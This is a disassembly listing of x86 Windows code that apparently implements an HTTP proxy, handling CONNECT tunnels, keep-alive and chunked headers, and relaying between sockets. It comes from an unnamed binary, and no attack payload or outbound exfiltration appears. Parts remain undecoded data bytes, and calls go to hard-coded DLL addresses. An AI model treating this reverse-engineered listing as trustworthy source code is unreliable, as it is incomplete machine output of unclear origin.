mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+11h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_429350 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429420: ; CODE XREF: ___:00401A23j
; ___:loc_402086j
push esi
mov esi, ecx
call sub_4017A8
test byte ptr [esp+8], 1
jz short loc_429438
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_429438: ; CODE XREF: ___:0042942Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429450 proc near ; CODE XREF: sub_401893j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429450
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push esi
mov esi, ecx
mov [esp+2Ch+var_28], esi
call sub_401FA0
lea ecx, [esi+0A1h]
mov [esp+2Ch+var_4], 0
call sub_40142E
push 0
push 2Ah
push 2Eh
push 2Eh
lea eax, [esp+3Ch+var_24]
push 22h
push eax
mov byte ptr [esp+44h+var_4], 1
mov dword ptr [esi], offset off_43F14C
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+2Ch+var_4], 2
call sub_4017EE
push eax
lea ecx, [esi+11h]
call sub_4015E1
lea ecx, [esp+2Ch+var_24]
mov byte ptr [esp+2Ch+var_4], 1
call sub_401226
mov ecx, [esp+2Ch+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 28h
retn
sub_429450 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429510: ; CODE XREF: ___:loc_401D3Ej
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43CDC2
push eax
mov eax, 5488h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
push esi
mov ebp, ecx
or esi, 0FFFFFFFFh
push edi
mov [ebp+0BFh], esi
mov byte ptr [esp+11h], 0
mov byte ptr [esp+12h], 0
loc_429548: ; CODE XREF: ___:0042A4D6j
lea ecx, [esp+0B8h]
call sub_401B4A
lea ecx, [esp+14h]
mov dword ptr [esp+54A0h], 0
mov byte ptr [esp+13h], 0
call sub_40142E
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+398h]
push 104h
push eax
push ecx
mov byte ptr [esp+54B0h], 1
call sub_401280
add esp, 10h
test al, al
jz loc_42A560
lea edx, [esp+394h]
lea ecx, [esp+30h]
push edx
call sub_401870
push offset byte_448F30
lea ecx, [esp+34h]
mov byte ptr [esp+54A4h], 2
call sub_4012EE
test eax, eax
jnz short loc_429600
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], esi
call sub_4014BA
jmp loc_42A4D0
; ---------------------------------------------------------------------------
loc_429600: ; CODE XREF: ___:004295C4j
push offset asc_444600 ; " "
lea eax, [esp+234h]
push 0
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset off_44720C
mov ecx, eax
mov byte ptr [esp+54A4h], 3
call sub_40150A
test eax, eax
lea ecx, [esp+230h]
mov byte ptr [esp+54A0h], 2
setz bl
call sub_401226
test bl, bl
jz short loc_4296C5
push offset asc_444600 ; " "
lea ecx, [esp+21Ch]
push 1
push ecx
lea ecx, [esp+3Ch]
mov byte ptr [esp+1Fh], 1
call sub_4016B8
lea edx, [esp+0B8h]
mov ecx, eax
push edx
mov byte ptr [esp+54A4h], 4
call sub_4017EE
push eax
call sub_401947
add esp, 8
lea ecx, [esp+218h]
test al, al
setz bl
mov byte ptr [esp+54A0h], 2
call sub_401226
test bl, bl
jnz loc_42A54F
push offset aHttp ; "http"
lea ecx, [esp+0BCh]
call sub_4012EE
test eax, eax
jnz loc_42A54F
jmp loc_4298BA
; ---------------------------------------------------------------------------
loc_4296C5: ; CODE XREF: ___:00429647j
push offset asc_444600 ; " "
lea eax, [esp+24Ch]
push 0
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset aConnect_0 ; "CONNECT"
mov ecx, eax
mov byte ptr [esp+54A4h], 5
call sub_40150A
test eax, eax
lea ecx, [esp+248h]
mov byte ptr [esp+54A0h], 2
setz bl
call sub_401226
test bl, bl
jz loc_4298BA
push offset aConnect ; "connect"
lea ecx, [esp+0BCh]
mov byte ptr [esp+17h], 0
call sub_4015E1
push offset byte_448F30
lea ecx, [esp+114h]
call sub_4015E1
push offset asc_444600 ; " "
lea ecx, [esp+12Ch]
push 1
push ecx
lea ecx, [esp+3Ch]
call sub_4016B8
push offset asc_444C64 ; ":"
lea edx, [esp+174h]
push 0
push edx
mov ecx, eax
mov byte ptr [esp+54ACh], 6
call sub_4016B8
push eax
lea ecx, [esp+0D1h]
mov byte ptr [esp+54A4h], 7
call sub_401FDC
lea ecx, [esp+170h]
mov byte ptr [esp+54A0h], 6
call sub_401226
lea ecx, [esp+128h]
mov byte ptr [esp+54A0h], 2
call sub_401226
push offset asc_444600 ; " "
lea eax, [esp+27Ch]
push 1
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset asc_444C64 ; ":"
lea ecx, [esp+1A4h]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+54ACh], 8
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+54A0h], 9
call sub_4017EE
test eax, eax
lea ecx, [esp+1A0h]
mov byte ptr [esp+54A0h], 8
setz bl
call sub_401226
lea ecx, [esp+278h]
mov byte ptr [esp+54A0h], 2
call sub_401226
test bl, bl
jnz loc_42A54F
push offset asc_444600 ; " "
lea edx, [esp+264h]
push 1
push edx
lea ecx, [esp+3Ch]
call sub_4016B8
push offset asc_444C64 ; ":"
lea ecx, [esp+1D4h]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+54ACh], 0Ah
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+54A0h], 0Bh
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+1D0h]
mov [esp+10Ch], eax
mov byte ptr [esp+54A0h], 0Ah
call sub_401226
lea ecx, [esp+260h]
mov byte ptr [esp+54A0h], 2
call sub_401226
mov eax, [esp+10Ch]
test eax, eax
jnz short loc_4298BA
mov dword ptr [esp+10Ch], 50h
loc_4298BA: ; CODE XREF: ___:004296C0j
; ___:0042970Cj ...
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 0
push edx
lea ecx, [esp+3Ch]
call sub_4016B8
push offset byte_448F30
lea ecx, [esp+4Ch]
mov byte ptr [esp+54A4h], 0Ch
call sub_4012EE
test eax, eax
jz loc_42A53E
push offset asc_444600 ; " "
lea eax, [esp+64h]
push 2
push eax
lea ecx, [esp+3Ch]
call sub_4016B8
push offset byte_448F30
lea ecx, [esp+64h]
mov byte ptr [esp+54A4h], 0Dh
call sub_4012EE
test eax, eax
jz loc_42A52D
lea ecx, [esp+0CDh]
push ecx
lea ecx, [esp+8Ch]
call sub_4014D3
mov ecx, 1000h
xor eax, eax
lea edi, [esp+498h]
or ebx, 0FFFFFFFFh
rep stosd
mov edi, offset aHttprox ; "HTTPROX"
mov ecx, ebx
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+4498h]
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte ptr [esp+54A0h], 0Eh
shr ecx, 2
rep movsd
mov ecx, eax
lea eax, [esp+4498h]
and ecx, 3
rep movsb
mov esi, offset asc_4471E4 ; "\r\n"
loc_429981: ; CODE XREF: ___:0042999Fj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_4299A5
test cl, cl
jz short loc_4299A1
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_4299A5
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429981
loc_4299A1: ; CODE XREF: ___:0042998Bj
xor eax, eax
jmp short loc_4299A9
; ---------------------------------------------------------------------------
loc_4299A5: ; CODE XREF: ___:00429987j
; ___:00429995j
sbb eax, eax
sbb eax, ebx
loc_4299A9: ; CODE XREF: ___:004299A3j
test eax, eax
jz loc_429A83
mov edi, dword_511AD8
loc_4299B7: ; CODE XREF: ___:00429A7Dj
mov esi, offset byte_448F30
lea eax, [esp+4498h]
loc_4299C3: ; CODE XREF: ___:004299E1j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_4299E7
test cl, cl
jz short loc_4299E3
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_4299E7
add eax, 2
add esi, 2
test cl, cl
jnz short loc_4299C3
loc_4299E3: ; CODE XREF: ___:004299CDj
xor eax, eax
jmp short loc_4299EB
; ---------------------------------------------------------------------------
loc_4299E7: ; CODE XREF: ___:004299C9j
; ___:004299D7j
sbb eax, eax
sbb eax, ebx
loc_4299EB: ; CODE XREF: ___:004299E5j
test eax, eax
jz loc_429A83
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+449Ch]
push 1000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_42A589
lea edx, [esp+4498h]
push 4000h
lea eax, [esp+49Ch]
push edx
push eax
call edi ; strncat
push 4000h
lea ecx, [esp+4A8h]
push offset asc_4471E4 ; "\r\n"
push ecx
call edi ; strncat
add esp, 18h
mov esi, offset asc_4471E4 ; "\r\n"
lea eax, [esp+4498h]
loc_429A53: ; CODE XREF: ___:00429A71j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_429A77
test cl, cl
jz short loc_429A73
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_429A77
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429A53
loc_429A73: ; CODE XREF: ___:00429A5Dj
xor eax, eax
jmp short loc_429A7B
; ---------------------------------------------------------------------------
loc_429A77: ; CODE XREF: ___:00429A59j
; ___:00429A67j
sbb eax, eax
sbb eax, ebx
loc_429A7B: ; CODE XREF: ___:00429A75j
test eax, eax
jnz loc_4299B7
loc_429A83: ; CODE XREF: ___:004299ABj
; ___:004299EDj
mov esi, dword_511B04
lea eax, [esp+498h]
push offset aProxyConnectio ; "Proxy-Connection:"
push eax
call esi ; strstr
add esp, 8
test eax, eax
jz short loc_429AD7
push offset asc_444C64 ; ":"
push eax
call esi ; strstr
add esp, 8
inc eax
jz short loc_429AD7
cmp byte ptr [eax], 20h
jnz short loc_429ABB
loc_429AB2: ; CODE XREF: ___:00429AB9j
mov cl, [eax+1]
inc eax
cmp cl, 20h
jz short loc_429AB2
loc_429ABB: ; CODE XREF: ___:00429AB0j
push offset aKeepAlive ; "Keep-Alive"
push eax
nop
call near ptr 77C4624Eh
add esp, 8
test eax, eax
jz short loc_429AD7
mov byte ptr [ebp+0BAh], 1
jmp short loc_429ADE
; ---------------------------------------------------------------------------
loc_429AD7: ; CODE XREF: ___:00429A9Dj
; ___:00429AABj ...
mov byte ptr [ebp+0BAh], 0
loc_429ADE: ; CODE XREF: ___:00429AD5j
cmp [ebp+0BFh], ebx
jnz loc_429B76
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, ebx
mov [ebp+0BFh], eax
jz loc_42A65D
mov edx, [esp+10Ch]
xor ecx, ecx
mov [esp+78h], ecx
push edx
mov [esp+80h], ecx
mov word ptr [esp+7Ch], 2
mov [esp+84h], ecx
mov [esp+88h], ecx
nop
call near ptr 71AB2B66h
lea ecx, [esp+0CDh]
mov [esp+7Ah], ax
call sub_4017EE
push eax
call sub_40188E
add esp, 4
cmp eax, ebx
mov [esp+7Ch], eax
jz loc_42A59B
mov ecx, [ebp+0BFh]
lea eax, [esp+78h]
push 10h
push eax
push ecx
nop
call near ptr 71AB406Ah
cmp eax, ebx
jz loc_42A5F8
loc_429B76: ; CODE XREF: ___:00429AE4j
mov al, [esp+13h]
test al, al
jz loc_42A21E
mov al, [ebp+0BAh]
test al, al
jz short loc_429BC1
lea edx, [esp+498h]
lea ecx, [esp+60h]
push edx
call sub_4017EE
push eax
lea ecx, [esp+118h]
call sub_4017EE
push eax
lea ecx, [esp+54h]
call sub_4017EE
push eax
lea eax, [esp+24h]
push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s"
push eax
jmp short loc_429BF4
; ---------------------------------------------------------------------------
loc_429BC1: ; CODE XREF: ___:00429B8Aj
lea ecx, [esp+498h]
push ecx
lea ecx, [esp+64h]
call sub_4017EE
push eax
lea ecx, [esp+118h]
call sub_4017EE
push eax
lea ecx, [esp+54h]
call sub_4017EE
push eax
lea edx, [esp+24h]
push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s"
push edx
loc_429BF4: ; CODE XREF: ___:00429BBFj
call sub_40102D
add esp, 18h
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
push eax
mov eax, [ebp+0BFh]
push eax
call near ptr 71AB428Ah
nop
test eax, eax
jz loc_42A642
cmp eax, ebx
jz loc_42A642
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+49Ch]
push 4000h
push ecx
push edx
call sub_401280
add esp, 10h
test al, al
jz loc_42A66F
mov edi, offset asc_4471E4 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+498h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+49Ch]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+49Ch]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
xor ebx, ebx
mov esi, offset asc_4471E4 ; "\r\n"
mov [esp+2Ch], ebx
lea eax, [esp+498h]
loc_429CBE: ; CODE XREF: ___:00429CDCj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_429CE2
test cl, cl
jz short loc_429CDE
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_429CE2
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429CBE
loc_429CDE: ; CODE XREF: ___:00429CC8j
xor eax, eax
jmp short loc_429CE7
; ---------------------------------------------------------------------------
loc_429CE2: ; CODE XREF: ___:00429CC4j
; ___:00429CD2j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_429CE7: ; CODE XREF: ___:00429CE0j
test eax, eax
jz loc_42A069
loc_429CEF: ; CODE XREF: ___:0042A058j
mov esi, offset byte_448F30
lea eax, [esp+498h]
loc_429CFB: ; CODE XREF: ___:00429D1Dj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_429D23
test cl, cl
jz short loc_429D1F
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_429D23
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429CFB
loc_429D1F: ; CODE XREF: ___:00429D07j
xor eax, eax
jmp short loc_429D28
; ---------------------------------------------------------------------------
loc_429D23: ; CODE XREF: ___:00429D03j
; ___:00429D13j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_429D28: ; CODE XREF: ___:00429D21j
test eax, eax
jz loc_42A065
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+49Ch]
push 4000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_42A060
lea edx, [esp+498h]
lea ecx, [esp+0A0h]
push edx
call sub_401870
push offset asc_444600 ; " "
lea eax, [esp+204h]
push 0
push eax
lea ecx, [esp+0ACh]
mov byte ptr [esp+54ACh], 0Fh
call sub_4016B8
push offset aContentLength ; "Content-Length:"
mov ecx, eax
mov byte ptr [esp+54A4h], 10h
call sub_40150A
test eax, eax
lea ecx, [esp+200h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_429E0A
push offset asc_444600 ; " "
lea ecx, [esp+144h]
push 1
push ecx
lea ecx, [esp+0ACh]
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+54A0h], 11h
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+140h]
mov [esp+2Ch], eax
mov byte ptr [esp+54A0h], 0Fh
call sub_401226
loc_429E0A: ; CODE XREF: ___:00429DBCj
push offset asc_444600 ; " "
lea edx, [esp+15Ch]
push 0
push edx
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aTransferEncodi ; "Transfer-Encoding:"
mov ecx, eax
mov byte ptr [esp+54A4h], 12h
call sub_40150A
test eax, eax
lea ecx, [esp+158h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_429E99
push offset asc_444600 ; " "
lea eax, [esp+18Ch]
push 1
push eax
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aChunked ; "chunked"
mov ecx, eax
mov byte ptr [esp+54A4h], 13h
call sub_40150A
lea ecx, [esp+188h]
mov byte ptr [esp+54A0h], 0Fh
call sub_401226
loc_429E99: ; CODE XREF: ___:00429E54j
push offset asc_444600 ; " "
lea ecx, [esp+1BCh]
push 0
push ecx
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aConnection ; "Connection:"
mov ecx, eax
mov byte ptr [esp+54A4h], 14h
call sub_40150A
test eax, eax
lea ecx, [esp+1B8h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_429F34
push offset asc_444600 ; " "
lea edx, [esp+1ECh]
push 1
push edx
lea ecx, [esp+0ACh]
call sub_4016B8
push offset aKeepAlive ; "Keep-Alive"
mov ecx, eax
mov byte ptr [esp+54A4h], 15h
call sub_40150A
test eax, eax
lea ecx, [esp+1E8h]
mov byte ptr [esp+54A0h], 0Fh
setz bl
call sub_401226
test bl, bl
setnz byte ptr [esp+11h]
loc_429F34: ; CODE XREF: ___:00429EE3j
mov esi, offset asc_4471E4 ; "\r\n"
lea eax, [esp+498h]
loc_429F40: ; CODE XREF: ___:00429F62j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_429F68
test cl, cl
jz short loc_429F64
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_429F68
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429F40
loc_429F64: ; CODE XREF: ___:00429F4Cj
xor eax, eax
jmp short loc_429F6D
; ---------------------------------------------------------------------------
loc_429F68: ; CODE XREF: ___:00429F48j
; ___:00429F58j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_429F6D: ; CODE XREF: ___:00429F66j
test eax, eax
jz loc_42A009
mov esi, offset byte_448F30
lea eax, [esp+498h]
loc_429F81: ; CODE XREF: ___:00429FA3j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_429FA9
test cl, cl
jz short loc_429FA5
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_429FA9
add eax, 2
add esi, 2
test cl, cl
jnz short loc_429F81
loc_429FA5: ; CODE XREF: ___:00429F8Dj
xor eax, eax
jmp short loc_429FAE
; ---------------------------------------------------------------------------
loc_429FA9: ; CODE XREF: ___:00429F89j
; ___:00429F99j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_429FAE: ; CODE XREF: ___:00429FA7j
test eax, eax
jz short loc_42A009
mov edi, offset asc_4471E4 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+498h]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+49Ch]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+49Ch]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
loc_42A009: ; CODE XREF: ___:00429F6Fj
; ___:00429FB0j
lea ecx, [esp+0A0h]
mov byte ptr [esp+54A0h], 0Eh
call sub_401226
mov esi, offset asc_4471E4 ; "\r\n"
lea eax, [esp+498h]
loc_42A029: ; CODE XREF: ___:0042A04Bj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_42A051
test cl, cl
jz short loc_42A04D
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42A051
add eax, 2
add esi, 2
test cl, cl
jnz short loc_42A029
loc_42A04D: ; CODE XREF: ___:0042A035j
xor eax, eax
jmp short loc_42A056
; ---------------------------------------------------------------------------
loc_42A051: ; CODE XREF: ___:0042A031j
; ___:0042A041j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42A056: ; CODE XREF: ___:0042A04Fj
test eax, eax
jnz loc_429CEF
jmp short loc_42A065
; ---------------------------------------------------------------------------
loc_42A060: ; CODE XREF: ___:00429D50j
mov byte ptr [esp+12h], 1
loc_42A065: ; CODE XREF: ___:00429D2Aj
; ___:0042A05Ej
mov ebx, [esp+2Ch]
loc_42A069: ; CODE XREF: ___:00429CE9j
mov al, [esp+11h]
push 0
test al, al
jz short loc_42A091
mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [ebp+0BBh]
not ecx
dec ecx
push ecx
push offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
push eax
jmp short loc_42A0AD
; ---------------------------------------------------------------------------
loc_42A091: ; CODE XREF: ___:0042A071j
mov edi, offset aConnectionClos ; "Connection: Close\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, [ebp+0BBh]
push offset aConnectionClos ; "Connection: Close\r\n"
push ecx
loc_42A0AD: ; CODE XREF: ___:0042A08Fj
call near ptr 71AB428Ah
nop
mov edi, offset asc_4471E4 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+498h]
repne scasb
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, [ebp+0BBh]
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
lea edi, [esp+49Ch]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
lea ecx, [esp+4A0h]
push ecx
push edx
call near ptr 71AB428Ah
nop
test ebx, ebx
jz loc_42A1DC
xor edi, edi
test ebx, ebx
jle short loc_42A164
loc_42A113: ; CODE XREF: ___:0042A162j
mov eax, ebx
sub eax, edi
cmp eax, 4000h
jbe short loc_42A164
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+49Ch]
push 4000h
push ecx
push edx
call near ptr 71AB615Ah
nop
mov esi, eax
cmp esi, 1
jl short loc_42A164
cmp esi, 0FFFFFFFFh
jz short loc_42A164
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+49Ch]
push esi
push eax
push ecx
nop
call near ptr 71AB428Ah
add edi, esi
cmp edi, ebx
jl short loc_42A113
loc_42A164: ; CODE XREF: ___:0042A111j
; ___:0042A11Cj ...
mov eax, ebx
sub eax, edi
jz short loc_42A1AE
loc_42A16A: ; CODE XREF: ___:0042A1ACj
push 0
push eax
mov eax, [ebp+0BFh]
lea edx, [esp+4A0h]
push edx
push eax
nop
call near ptr 71AB615Ah
mov esi, eax
cmp esi, 1
jl short loc_42A1AE
cmp esi, 0FFFFFFFFh
jz short loc_42A1AE
mov edx, [ebp+0BBh]
push 0
lea ecx, [esp+49Ch]
push esi
push ecx
push edx
nop
call near ptr 71AB428Ah
add edi, esi
mov eax, ebx
sub eax, edi
jnz short loc_42A16A
loc_42A1AE: ; CODE XREF: ___:0042A168j
; ___:0042A187j ...
mov al, [ebp+0BAh]
test al, al
jnz loc_42A43F
mov ecx, [ebp+0BBh]
push ecx
nop
call near ptr 71AB9639h
or esi, 0FFFFFFFFh
mov byte ptr [esp+12h], 1
mov [ebp+0BBh], esi
jmp loc_42A442
; ---------------------------------------------------------------------------
loc_42A1DC: ; CODE XREF: ___:0042A107j
mov esi, dword_511CA4
loc_42A1E2: ; CODE XREF: ___:0042A21Cj
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+49Ch]
push 4000h
push eax
push ecx
call esi ; recv
cmp eax, 1
jl short loc_42A1AE
cmp eax, 0FFFFFFFFh
jz short loc_42A1AE
push 0
push eax
mov eax, [ebp+0BBh]
lea edx, [esp+4A0h]
push edx
push eax
nop
call near ptr 71AB428Ah
jmp short loc_42A1E2
; ---------------------------------------------------------------------------
loc_42A21E: ; CODE XREF: ___:00429B7Cj
lea ecx, [esp+14h]
push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+14h]
push 0
call sub_4013E3
push eax
lea ecx, [esp+1Ch]
call sub_4017EE
mov edx, [ebp+0BBh]
push eax
push edx
nop
call near ptr 71AB428Ah
test eax, eax
jz loc_42A6E2
cmp eax, ebx
jz loc_42A6E2
mov ebx, dword_511CA4
mov eax, [ebp+0BBh]
mov edx, [ebp+0BFh]
mov [esp+294h], eax
mov dword ptr [esp+290h], 1
xor eax, eax
lea ecx, [esp+294h]
loc_42A290: ; CODE XREF: ___:0042A29Bj
cmp [ecx], edx
jz short loc_42A29D
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42A290
loc_42A29D: ; CODE XREF: ___:0042A292j
cmp eax, 1
jnz short loc_42A2B4
mov [esp+298h], edx
mov dword ptr [esp+290h], 2
loc_42A2B4: ; CODE XREF: ___:0042A2A0j
mov ecx, 1000h
xor eax, eax
lea edi, [esp+498h]
push eax
rep stosd
push eax
lea ecx, [esp+298h]
push eax
push ecx
push eax
nop
call near ptr 71AB2DC0h
mov eax, [ebp+0BBh]
lea edx, [esp+290h]
push edx
push eax
call sub_438256
; ---------------------------------------------------------------------------
dw 0C085h
dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
dd 0A024848Dh, 50000004h, 9F64E851h, 83907168h, 840FFFF8h
dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
dd 0DF12h, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h
dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
dd 6A000000h, 848D5000h, 4A024h, 90515000h, 689F09E8h
dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah
dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 68F11FE8h, 333D9071h
dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h
dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 0F0CAE890h, 333D7168h
dd 75000027h, 90016A0Dh, 4077F9E8h, 0FE43E902h, 858BFFFFh
dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_42A43F: ; CODE XREF: ___:0042A1B6j
or esi, 0FFFFFFFFh
loc_42A442: ; CODE XREF: ___:0042A1D7j
mov al, [esp+11h]
test al, al
jnz short loc_42A462
mov edx, [ebp+0BFh]
push edx
nop
call near ptr 71AB9639h
mov [ebp+0BFh], esi
mov byte ptr [esp+12h], 1
loc_42A462: ; CODE XREF: ___:0042A448j
lea ecx, [esp+88h]
mov byte ptr [esp+54A0h], 0Dh
call sub_401226
lea ecx, [esp+60h]
mov byte ptr [esp+54A0h], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+54A0h], 2
call sub_401226
lea ecx, [esp+30h]
mov byte ptr [esp+54A0h], 1
call sub_401226
lea ecx, [esp+14h]
mov byte ptr [esp+54A0h], 0
call sub_401226
lea ecx, [esp+0B8h]
mov [esp+54A0h], esi
call sub_4014BA
or esi, 0FFFFFFFFh
loc_42A4D0: ; CODE XREF: ___:004295FBj
mov al, [esp+12h]
test al, al
jz loc_429548
loc_42A4DC: ; CODE XREF: ___:0042A584j
; ___:0042A6DDj
mov al, [ebp+0BAh]
test al, al
jz short loc_42A4F9
mov eax, [ebp+0BBh]
push eax
nop
call near ptr 71AB9639h
mov [ebp+0BBh], esi
loc_42A4F9: ; CODE XREF: ___:0042A4E4j
mov al, [esp+11h]
test al, al
jz short loc_42A514
mov ecx, [ebp+0BFh]
push ecx
nop
call near ptr 71AB9639h
mov [ebp+0BFh], esi
loc_42A514: ; CODE XREF: ___:0042A4FFj
; ___:0042A765j
mov ecx, [esp+5498h]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 5494h
retn
; ---------------------------------------------------------------------------
